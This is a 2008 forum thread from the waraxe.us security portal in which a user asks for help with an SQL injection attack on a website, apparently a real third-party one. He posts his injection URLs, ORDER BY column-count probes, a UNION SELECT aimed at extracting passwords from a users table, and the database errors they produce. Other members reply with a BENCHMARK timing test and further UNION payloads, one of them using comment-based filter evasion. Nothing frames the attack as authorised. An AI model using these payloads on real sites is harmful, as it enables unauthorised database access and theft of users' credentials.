Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 18, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 424
Members: 0
Total: 424
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> sql inj HELP
Post new topic  Reply to topic View previous topic :: View next topic 
sql inj HELP
PostPosted: Thu Apr 17, 2008 4:22 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Hi , i'am finding an exploit ,SQL inj but i have a problem with it ..

Code:
index.php?page=-1'a


Code:
-1\'a Match:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'a' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /homepages/12/d2116256/htdocs/site/index.php on line 151

i'am trying with ORDER BY

Code:
index.php?page=1+order+by+18


no error mysql

Code:
index.php?page=1+order+by+19


1 order by 19 Match:


Code:
Unknown column '19' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /homepages/12/d2116256/htdocs/site/index.php on line 151


so , i try with UNION SELECT ..


Code:
index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


no column found Confused

and test column and table [ i know the script ]

Code:
index.php?id=1+union+select+pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass+from+users--


Illegal mix of collations for operation 'UNION'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /homepages/12/d2116256/htdocs/site/index.php on line 151


i try to test by convert() and unhex(hex()) , but not working ...

so , i need help waraxe Shocked ?? and thanks ...
View user's profile Send private message Visit poster's website
PostPosted: Thu Apr 17, 2008 5:25 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try BENCHMARK function, see if it will work. If it works, then specific sql injection is useable, if not - then look for other sql injection cases in same target.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Apr 18, 2008 11:49 am Reply with quote
Snap
Active user
Active user
 
Joined: Apr 14, 2008
Posts: 25




try for example ..

Code:

null UNION SELECT null,null,null,null,null,null,null,null,null,null,@@version,null,null,null,null,null,null,null FROM INFORMATION_SCHEMA.TABLES--
View user's profile Send private message
PostPosted: Fri Apr 18, 2008 5:20 pm Reply with quote
Tr4c3
Regular user
Regular user
 
Joined: Mar 29, 2008
Posts: 10




You can try like this
Quote:
index.php?id=1/**/and/**/1=2/**/union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
View user's profile Send private message
sql inj HELP
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.117 Seconds